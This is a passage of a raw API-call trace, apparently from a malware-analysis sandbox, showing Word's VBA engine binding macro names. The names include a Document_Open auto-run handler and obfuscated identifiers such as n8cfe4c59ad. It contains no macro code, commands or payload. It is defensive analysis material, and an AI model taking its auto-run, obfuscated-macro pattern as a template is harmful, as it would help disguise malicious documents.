lHashVal=0x10d6db, pfName=0x266f20, pBstrLibName=0x266e50 | out: pfName=0x266f20*=0, pBstrLibName=0x266e50) returned 0x0 [0036.953] IUnknown:Release (This=0x81c0d20) returned 0x5 [0036.953] IUnknown:Release (This=0x8087de0) returned 0x3 [0036.953] IUnknown:Release (This=0x8087de0) returned 0x2 [0036.953] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3232bfa, cbMultiByte=8, lpWideCharStr=0x266e50, cchWideChar=9 | out: lpWideCharStr="deg2rad") returned 8 [0036.953] ITypeComp:RemoteBind (in: This=0x8087de8, szName="deg2rad", lHashVal=0x10d6db, wFlags=0x0, ppTInfo=0x266e08, pDescKind=0x266e1c, ppFuncDesc=0x266e20, ppVarDesc=0x7feff382ca4, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x266e08*=0x0, pDescKind=0x266e1c*=0, ppFuncDesc=0x266e20, ppVarDesc=0x7feff382ca4, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0036.953] _mbscpy_s (in: _Dst=0x2672f0, _DstSizeInBytes=0x8, _Src=0x2ff3132 | out: _Dst=0x2672f0) returned 0x0 [0036.953] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="rad2deg") returned 0x10e93c [0036.953] strcpy_s (in: _Dst=0x267000, _DstSize=0x8, _Src="rad2deg" | out: _Dst="rad2deg") returned 0x0 [0036.953] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x267000, cbMultiByte=8, lpWideCharStr=0x266e50, cchWideChar=8 | out: lpWideCharStr="rad2deg") returned 8 [0036.953] IUnknown:AddRef (This=0x7f8b790) returned 0x7 [0036.953] ITypeLib:RemoteIsName (in: This=0x7f8b790, szNameBuf="rad2deg", lHashVal=0x10e93c, pfName=0x266f20, pBstrLibName=0x266e50 | out: pfName=0x266f20*=0, pBstrLibName=0x266e50) returned 0x0 [0036.953] IUnknown:Release (This=0x7f8b790) returned 0x6 [0036.953] IUnknown:AddRef (This=0x7f887c0) returned 0x10 [0036.953] ITypeLib:RemoteIsName (in: This=0x7f887c0, szNameBuf="rad2deg", lHashVal=0x10e93c, pfName=0x266f20, pBstrLibName=0x266e50 | out: pfName=0x266f20*=0, pBstrLibName=0x266e50) returned 0x0 [0036.954] IUnknown:Release (This=0x7f887c0) returned 0xf [0036.954] IUnknown:AddRef (This=0x7f8b1f0) returned 0x8 [0036.954] ITypeLib:RemoteIsName (in: This=0x7f8b1f0, szNameBuf="rad2deg", lHashVal=0x10e93c, pfName=0x266f20, pBstrLibName=0x266e50 | out: pfName=0x266f20*=0, pBstrLibName=0x266e50) returned 0x0 [0036.954] IUnknown:Release (This=0x7f8b1f0) returned 0x7 [0036.954] IUnknown:AddRef (This=0x81c0d20) returned 0x6 [0036.954] ITypeLib:RemoteIsName (in: This=0x81c0d20, szNameBuf="rad2deg", lHashVal=0x10e93c, pfName=0x266f20, pBstrLibName=0x266e50 | out: pfName=0x266f20*=0, pBstrLibName=0x266e50) returned 0x0 [0036.954] IUnknown:Release (This=0x81c0d20) returned 0x5 [0036.954] IUnknown:Release (This=0x8087de0) returned 0x3 [0036.954] IUnknown:Release (This=0x8087de0) returned 0x2 [0036.954] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3232c22, cbMultiByte=8, lpWideCharStr=0x266e50, cchWideChar=9 | out: lpWideCharStr="rad2deg") returned 8 [0036.954] ITypeComp:RemoteBind (in: This=0x8087de8, szName="rad2deg", lHashVal=0x10e93c, wFlags=0x0, ppTInfo=0x266e08, pDescKind=0x266e1c, ppFuncDesc=0x266e20, ppVarDesc=0x7feff382ca4, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x266e08*=0x0, pDescKind=0x266e1c*=0, ppFuncDesc=0x266e20, ppVarDesc=0x7feff382ca4, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0036.954] IMalloc:Realloc (This=0x7feff045380, pv=0x8195b70, cb=0x200) returned 0x80f1490 [0036.954] _mbscpy_s (in: _Dst=0x2672f0, _DstSizeInBytes=0x8, _Src=0x2ff31da | out: _Dst=0x2672f0) returned 0x0 [0036.954] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document_Open") returned 0x1089c1 [0036.954] strcpy_s (in: _Dst=0x267000, _DstSize=0xe, _Src="Document_Open" | out: _Dst="Document_Open") returned 0x0 [0036.954] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x267000, cbMultiByte=14, lpWideCharStr=0x266e50, cchWideChar=14 | out: lpWideCharStr="Document_Open") returned 14 [0036.954] IUnknown:AddRef (This=0x7f8b790) returned 0x7 [0036.954] ITypeLib:RemoteIsName (in: This=0x7f8b790, szNameBuf="Document_Open", lHashVal=0x1089c1, pfName=0x266f20, pBstrLibName=0x266e50 | out: pfName=0x266f20*=0, pBstrLibName=0x266e50) returned 0x0 [0036.954] IUnknown:Release (This=0x7f8b790) returned 0x6 [0036.954] IUnknown:AddRef (This=0x7f887c0) returned 0x10 [0036.954] ITypeLib:RemoteIsName (in: This=0x7f887c0, szNameBuf="Document_Open", lHashVal=0x1089c1, pfName=0x266f20, pBstrLibName=0x266e50 | out: pfName=0x266f20*=0, pBstrLibName=0x266e50) returned 0x0 [0036.954] IUnknown:Release (This=0x7f887c0) returned 0xf [0036.954] IUnknown:AddRef (This=0x7f8b1f0) returned 0x8 [0036.954] ITypeLib:RemoteIsName (in: This=0x7f8b1f0, szNameBuf="Document_Open", lHashVal=0x1089c1, pfName=0x266f20, pBstrLibName=0x266e50 | out: pfName=0x266f20*=0, pBstrLibName=0x266e50) returned 0x0 [0036.954] IUnknown:Release (This=0x7f8b1f0) returned 0x7 [0036.954] IUnknown:AddRef (This=0x81c0d20) returned 0x6 [0036.954] ITypeLib:RemoteIsName (in: This=0x81c0d20, szNameBuf="Document_Open", lHashVal=0x1089c1, pfName=0x266f20, pBstrLibName=0x266e50 | out: pfName=0x266f20*=0, pBstrLibName=0x266e50) returned 0x0 [0036.954] IUnknown:Release (This=0x81c0d20) returned 0x5 [0036.954] IUnknown:Release (This=0x8087de0) returned 0x3 [0036.954] IUnknown:Release (This=0x8087de0) returned 0x2 [0036.954] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3232c4a, cbMultiByte=14, lpWideCharStr=0x266e50, cchWideChar=15 | out: lpWideCharStr="Document_Open") returned 14 [0036.954] ITypeComp:RemoteBind (in: This=0x8087de8, szName="Document_Open", lHashVal=0x1089c1, wFlags=0x0, ppTInfo=0x266e08, pDescKind=0x266e1c, ppFuncDesc=0x266e20, ppVarDesc=0x7feff382ca4, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x266e08*=0x0, pDescKind=0x266e1c*=0, ppFuncDesc=0x266e20, ppVarDesc=0x7feff382ca4, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0036.954] _mbscpy_s (in: _Dst=0x2672f0, _DstSizeInBytes=0xe, _Src=0x2ff326e | out: _Dst=0x2672f0) returned 0x0 [0036.954] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0036.954] _mbscpy_s (in: _Dst=0x2672f0, _DstSizeInBytes=0xe, _Src=0x2672f9 | out: _Dst=0x2672f0) returned 0x0 [0036.954] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Open") returned 0x100767 [0036.954] IUnknown:QueryInterface (in: This=0x8087e90, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x267208 | out: ppvObject=0x267208*=0x0) returned 0x80004002 [0036.955] IUnknown:QueryInterface (in: This=0x8087e90, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x267210 | out: ppvObject=0x267210*=0x0) returned 0x80004002 [0036.955] ITypeInfo:GetTypeComp (in: This=0x8087e90, ppTComp=0x267218 | out: ppTComp=0x267218*=0x8087e98) returned 0x0 [0036.955] IMalloc:Alloc (This=0x7feff045380, cb=0x38) returned 0x7e68740 [0036.955] IUnknown:AddRef (This=0x8087e98) returned 0x8 [0036.955] IUnknown:Release (This=0x8087e98) returned 0x7 [0036.955] IMalloc:Realloc (This=0x7feff045380, pv=0x823b020, cb=0x80) returned 0x819bb50 [0036.955] IUnknown:Release (This=0x8087e90) returned 0x6 [0036.955] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2ff1556, cbMultiByte=5, lpWideCharStr=0x267000, cchWideChar=6 | out: lpWideCharStr="Open") returned 5 [0036.955] IMalloc:Alloc (This=0x7feff045380, cb=0x640) returned 0x8279f20 [0036.955] IMalloc:Alloc (This=0x7feff045380, cb=0x20) returned 0x81c8b40 [0036.955] IMalloc:Alloc (This=0x7feff045380, cb=0x0) returned 0x8229090 [0036.955] IMalloc:Alloc (This=0x7feff045380, cb=0x0) returned 0x82290a0 [0036.955] IMalloc:Alloc (This=0x7feff045380, cb=0x20) returned 0x81c8b70 [0036.955] IMalloc:Alloc (This=0x7feff045380, cb=0x80) returned 0x819df50 [0036.955] ITypeComp:RemoteBind (in: This=0x8087e98, szName="Open", lHashVal=0x100767, wFlags=0x1, ppTInfo=0x266fb8, pDescKind=0x266fcc, ppFuncDesc=0x266fd0, ppVarDesc=0xffffffff00000000, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x266fb8*=0x8087e90, pDescKind=0x266fcc*=1, ppFuncDesc=0x266fd0, ppVarDesc=0xffffffff00000000, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0036.955] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087e90, ppTypeAttr=0x266fc0, pDummy=0x1 | out: ppTypeAttr=0x266fc0, pDummy=0x1) returned 0x0 [0036.955] ITypeInfo:LocalReleaseTypeAttr (This=0x8087e90) returned 0x0 [0036.955] IUnknown:QueryInterface (in: This=0x8087e90, riid=0x7fee40840f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x266e20 | out: ppvObject=0x266e20*=0x8087e90) returned 0x0 [0036.955] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x8087e90, memid=5, invkind=1, pFuncIndex=0x266e60 | out: pFuncIndex=0x266e60*=0x1) returned 0x0 [0036.955] ITypeInfo2:GetFuncCustData (in: This=0x8087e90, index=0x1, GUID=0x7fee4093758*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x266e78 | out: pVarVal=0x266e78*(varType=0x0, wReserved1=0x0, wReserved2=0x7fe, wReserved3=0x0, varVal1=0x266f20, varVal2=0x810add0)) returned 0x0 [0036.956] IUnknown:Release (This=0x8087e90) returned 0x7 [0036.956] IUnknown:AddRef (This=0x8087e90) returned 0x8 [0036.956] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.956] IUnknown:Release (This=0x8087e90) returned 0x7 [0036.956] IUnknown:QueryInterface (in: This=0x8087e90, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x267078 | out: ppvObject=0x267078*=0x0) returned 0x80004002 [0036.956] IUnknown:AddRef (This=0x8087e90) returned 0x8 [0036.956] IUnknown:Release (This=0x8087e90) returned 0x7 [0036.956] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="n8cfe4c59ad") returned 0x100b4a [0036.956] strcpy_s (in: _Dst=0x267000, _DstSize=0xc, _Src="n8cfe4c59ad" | out: _Dst="n8cfe4c59ad") returned 0x0 [0036.956] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x267000, cbMultiByte=12, lpWideCharStr=0x266e50, cchWideChar=12 | out: lpWideCharStr="n8cfe4c59ad") returned 12 [0036.956] IUnknown:AddRef (This=0x7f8b790) returned 0x7 [0036.956] ITypeLib:RemoteIsName (in: This=0x7f8b790, szNameBuf="n8cfe4c59ad", lHashVal=0x100b4a, pfName=0x266f20, pBstrLibName=0x266e50 | out: pfName=0x266f20*=0, pBstrLibName=0x266e50) returned 0x0 [0036.956] IUnknown:Release (This=0x7f8b790) returned 0x6 [0036.956] IUnknown:AddRef (This=0x7f887c0) returned 0x12 [0036.956] ITypeLib:RemoteIsName (in: This=0x7f887c0, szNameBuf="n8cfe4c59ad", lHashVal=0x100b4a, pfName=0x266f20, pBstrLibName=0x266e50 | out: pfName=0x266f20*=0, pBstrLibName=0x266e50) returned 0x0 [0036.956] IUnknown:Release (This=0x7f887c0) returned 0x11 [0036.956] IUnknown:AddRef (This=0x7f8b1f0) returned 0x8 [0036.956] ITypeLib:RemoteIsName (in: This=0x7f8b1f0, szNameBuf="n8cfe4c59ad", lHashVal=0x100b4a, pfName=0x266f20, pBstrLibName=0x266e50 | out: pfName=0x266f20*=0, pBstrLibName=0x266e50) returned 0x0 [0036.956] IUnknown:Release (This=0x7f8b1f0) returned 0x7 [0036.956] IUnknown:AddRef (This=0x81c0d20) returned 0x6 [0036.956] ITypeLib:RemoteIsName (in: This=0x81c0d20, szNameBuf="n8cfe4c59ad", lHashVal=0x100b4a, pfName=0x266f20, pBstrLibName=0x266e50 | out: pfName=0x266f20*=0, pBstrLibName=0x266e50) returned 0x0 [0036.956] IUnknown:Release (This=0x81c0d20) returned 0x5 [0036.956] IUnknown:Release (This=0x8087de0) returned 0x3 [0036.956] IUnknown:Release (This=0x8087de0) returned 0x2 [0036.956] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3232c7a, cbMultiByte=12, lpWideCharStr=0x266e50, cchWideChar=13 | out: lpWideCharStr="n8cfe4c59ad") returned 12 [0036.956] ITypeComp:RemoteBind (in: This=0x8087de8, szName="n8cfe4c59ad", lHashVal=0x100b4a, wFlags=0x0, ppTInfo=0x266e08, pDescKind=0x266e1c, ppFuncDesc=0x266e20, ppVarDesc=0x7feff382ca4, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x266e08*=0x0, pDescKind=0x266e1c*=0, ppFuncDesc=0x266e20, ppVarDesc=0x7feff382ca4, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0036.956] _mbscpy_s (in: _Dst=0x2672f0, _DstSizeInBytes=0xc, _Src=0x2ff335a | out: _Dst=0x2672f0) returned 0x0 [0036.956] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="v6c45839c88") returned 0x10082e [0036.956] strcpy_s (in: _Dst=0x267000, _DstSize=0xc, _Src="v6c45839c88" | out: _Dst="v6c45839c88") returned 0x0 [0036.956] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x267000, cbMultiByte=12, lpWideCharStr=0x266e50, cchWideChar=12 | out: lpWideCharStr="v6c45839c88") returned 12 [0036.956] IUnknown:AddRef (This=0x7f8b790) returned 0x7 [0036.956] ITypeLib:RemoteIsName (in: This=0x7f8b790, szNameBuf="v6c45839c88", lHashVal=0x10082e, pfName=0x266f20, pBstrLibName=0x266e50 | out: pfName=0x266f20*=0, pBstrLibName=0x266e50) returned 0x0 [0036.956] IUnknown:Release (This=0x7f8b790) returned 0x6 [0036.956] IUnknown:AddRef (This=0x7f887c0) returned 0x12 [0036.956] ITypeLib:RemoteIsName (in: This=0x7f887c0, szNameBuf="v6c45839c88", lHashVal=0x10082e, pfName=0x266f20, pBstrLibName=0x266e50 | out: pfName=0x266f20*=0, pBstrLibName=0x266e50) returned 0x0 [0036.956] IUnknown:Release (This=0x7f887c0) returned 0x11 [0036.956] IUnknown:AddRef (This=0x7f8b1f0) returned 0x8 [0036.956] ITypeLib:RemoteIsName (in: This=0x7f8b1f0, szNameBuf="v6c45839c88", lHashVal=0x10082e, pfName=0x266f20, pBstrLibName=0x266e50 | out: pfName=0x266f20*=0, pBstrLibName=0x266e50) returned 0x0 [0036.956] IUnknown:Release (This=0x7f8b1f0) returned 0x7 [0036.956] IUnknown:AddRef (This=0x81c0d20) returned 0x6 [0036.956] ITypeLib:RemoteIsName (in: This=0x81c0d20, szNameBuf="v6c45839c88", lHashVal=0x10082e, pfName=0x266f20, pBstrLibName=0x266e50 | out: pfName=0x266f20*=0, pBstrLibName=0x266e50) returned 0x0 [0036.956] IUnknown:Release (This=0x81c0d20) returned 0x5 [0036.957] IUnknown:Release (This=0x8087de0) returned 0x3 [0036.957] IUnknown:Release (This=0x8087de0) returned 0x2 [0036.957] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3232ca6, cbMultiByte=12, lpWideCharStr=0x266e50, cchWideChar=13 | out: lpWideCharStr="v6c45839c88") returned 12 [0036.957] ITypeComp:RemoteBind (in: This=0x8087de8, szName="v6c45839c88", lHashVal=0x10082e, wFlags=0x0, ppTInfo=0x266e08, pDescKind=0x266e1c, ppFuncDesc=0x266e20, ppVarDesc=0x7feff382ca4, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x266e08*=0x0, pDescKind=0x266e1c*=0, ppFuncDesc=0x266e20, ppVarDesc=0x7feff382ca4, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0036.957] _mbscpy_s (in: _Dst=0x2672f0, _DstSizeInBytes=0xc, _Src=0x2ff329e | out: _Dst=0x2672f0) returned 0x0 [0036.957] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GetDistance") returned 0x101a28 [0036.957] strcpy_s (in: _Dst=0x267000, _DstSize=0xc, _Src="GetDistance" | out: _Dst="GetDistance") returned 0x0 [0036.957] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x267000, cbMultiByte=12, lpWideCharStr=0x266e50, cchWideChar=12 | out: lpWideCharStr="GetDistance") returned 12 [0036.957] IUnknown:AddRef (This=0x7f8b790) returned 0x7 [0036.957] ITypeLib:RemoteIsName (in: This=0x7f8b790, szNameBuf="GetDistance", lHashVal=0x101a28, pfName=0x266f20, pBstrLibName=0x266e50 | out: pfName=0x266f20*=0, pBstrLibName=0x266e50) returned 0x0 [0036.957] IUnknown:Release (This=0x7f8b790) returned 0x6 [0036.957] IUnknown:AddRef (This=0x7f887c0) returned 0x12 [0036.957] ITypeLib:RemoteIsName (in: This=0x7f887c0, szNameBuf="GetDistance", lHashVal=0x101a28, pfName=0x266f20, pBstrLibName=0x266e50 | out: pfName=0x266f20*=0, pBstrLibName=0x266e50) returned 0x0 [0036.957] IUnknown:Release (This=0x7f887c0) returned 0x11 [0036.957] IUnknown:AddRef (This=0x7f8b1f0) returned 0x8 [0036.957] ITypeLib:RemoteIsName (in: This=0x7f8b1f0, szNameBuf="GetDistance", lHashVal=0x101a28, pfName=0x266f20, pBstrLibName=0x266e50 | out: pfName=0x266f20*=0, pBstrLibName=0x266e50) returned 0x0 [0036.957] IUnknown:Release (This=0x7f8b1f0) returned 0x7 [0036.957] IUnknown:AddRef (This=0x81c0d20) returned 0x6 [0036.957] ITypeLib:RemoteIsName (in: This=0x81c0d20, szNameBuf="GetDistance", lHashVal=0x101a28, pfName=0x266f20, pBstrLibName=0x266e50 | out: pfName=0x266f20*=0, pBstrLibName=0x266e50) returned 0x0 [0036.957] IUnknown:Release (This=0x81c0d20) returned 0x5 [0036.957] IUnknown:Release (This=0x8087de0) returned 0x3 [0036.957] IUnknown:Release (This=0x8087de0) returned 0x2 [0036.957] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3232cd2, cbMultiByte=12, lpWideCharStr=0x266e50, cchWideChar=13 | out: lpWideCharStr="GetDistance") returned 12 [0036.957] ITypeComp:RemoteBind (in: This=0x8087de8, szName="GetDistance", lHashVal=0x101a28, wFlags=0x0, ppTInfo=0x266e08, pDescKind=0x266e1c, ppFuncDesc=0x266e20, ppVarDesc=0x7feff382ca4, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x266e08*=0x0, pDescKind=0x266e1c*=0, ppFuncDesc=0x266e20, ppVarDesc=0x7feff382ca4, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0036.957] _mbscpy_s (in: _Dst=0x2672f0, _DstSizeInBytes=0xc, _Src=0x2ff352a | out: _Dst=0x2672f0) returned 0x0 [0036.957] CoCreateGuid (in: pguid=0x2674b0 | out: pguid=0x2674b0*(Data1=0x58db3170, Data2=0x9fd0, Data3=0x4bc5, Data4=([0]=0x80, [1]=0x9e, [2]=0x26, [3]=0xc5, [4]=0xcb, [5]=0xe, [6]=0xc1, [7]=0x7d))) returned 0x0 [0036.957] CoCreateGuid (in: pguid=0x2674b0 | out: pguid=0x2674b0*(Data1=0xf775a378, Data2=0x1338, Data3=0x451d, Data4=([0]=0x9f, [1]=0xc7, [2]=0xf6, [3]=0x87, [4]=0xc3, [5]=0x3, [6]=0x7b, [7]=0x5))) returned 0x0 [0036.957] IMalloc:Alloc (This=0x7feff045380, cb=0x14) returned 0x81b83c0 [0036.957] IUnknown:Release (This=0x8087e90) returned 0x7 [0036.957] IUnknown:QueryInterface (in: This=0x8087e90, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2675e8 | out: ppvObject=0x2675e8*=0x0) returned 0x80004002 [0036.957] IUnknown:QueryInterface (in: This=0x8087e90, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2675e8 | out: ppvObject=0x2675e8*=0x0) returned 0x80004002 [0036.957] IMalloc:Alloc (This=0x7feff045380, cb=0x60) returned 0x81a0f30 [0036.957] _wcsicmp (_String1="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0 [0036.957] IUnknown:AddRef (This=0x7f8b790) returned 0x7 [0036.957] ITypeLib:RemoteGetLibAttr (in: This=0x7f8b790, ppTLibAttr=0x266b18, pDummy=0x0 | out: ppTLibAttr=0x266b18, pDummy=0x0) returned 0x0 [0036.958] ITypeLib:RemoteGetDocumentation (in: This=0x7f8b790, index=-1, refPtrFlags=0x266b30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0036.958] IMalloc:Realloc (This=0x7feff045380, pv=0x0, cb=0x412) returned 0x3f081c0 [0036.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchWideChar=49, lpMultiByteStr=0x266ba0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL\x8f5", lpUsedDefaultChar=0x0) returned 49 [0036.958] strcpy_s (in: _Dst=0x815d7d8, _DstSize=0x32, _Src="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" | out: _Dst="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0 [0036.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=4, lpMultiByteStr=0x266cb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBA", lpUsedDefaultChar=0x0) returned 4 [0036.958] strcpy_s (in: _Dst=0x815d818, _DstSize=0x4, _Src="VBA" | out: _Dst="VBA") returned 0x0 [0036.958] IMalloc:Realloc (This=0x7feff045380, pv=0x0, cb=0x412) returned 0x3f08610 [0036.958] IUnknown:AddRef (This=0x7f8b790) returned 0x8 [0036.958] ITypeLib:LocalReleaseTLibAttr (This=0x7f8b790) returned 0x0 [0036.958] IUnknown:Release (This=0x7f8b790) returned 0x7 [0036.958] _wcsicmp (_String1="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 5 [0036.958] _wcsicmp (_String1="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0 [0036.958] IUnknown:AddRef (This=0x7f887c0) returned 0x12 [0036.958] ITypeLib:RemoteGetLibAttr (in: This=0x7f887c0, ppTLibAttr=0x266b18, pDummy=0x0 | out: ppTLibAttr=0x266b18, pDummy=0x0) returned 0x0 [0036.958] ITypeLib:RemoteGetDocumentation (in: This=0x7f887c0, index=-1, refPtrFlags=0x266b30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0036.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchWideChar=53, lpMultiByteStr=0x266ba0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB", lpUsedDefaultChar=0x0) returned 53 [0036.958] strcpy_s (in: _Dst=0x815d888, _DstSize=0x36, _Src="C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB" | out: _Dst="C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB") returned 0x0 [0036.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word", cchWideChar=5, lpMultiByteStr=0x266cb0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word", lpUsedDefaultChar=0x0) returned 5 [0036.958] strcpy_s (in: _Dst=0x815d8c8, _DstSize=0x5, _Src="Word" | out: _Dst="Word") returned 0x0 [0036.958] IMalloc:Alloc (This=0x7feff045380, cb=0x230) returned 0x8160c10 [0036.958] IUnknown:AddRef (This=0x7f887c0) returned 0x13 [0036.958] ITypeLib:LocalReleaseTLibAttr (This=0x7f887c0) returned 0x0 [0036.958] IUnknown:Release (This=0x7f887c0) returned 0x12 [0036.958] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned -50 [0036.959] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned -5 [0036.959] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation") returned 0 [0036.959] IUnknown:AddRef (This=0x7f8b1f0) returned 0x8 [0036.959] ITypeLib:RemoteGetLibAttr (in: This=0x7f8b1f0, ppTLibAttr=0x266b18, pDummy=0x0 | out: ppTLibAttr=0x266b18, pDummy=0x0) returned 0x0 [0036.959] ITypeLib:RemoteGetDocumentation (in: This=0x7f8b1f0, index=-1, refPtrFlags=0x266b30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0036.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\System32\\stdole2.tlb#OLE Automation", 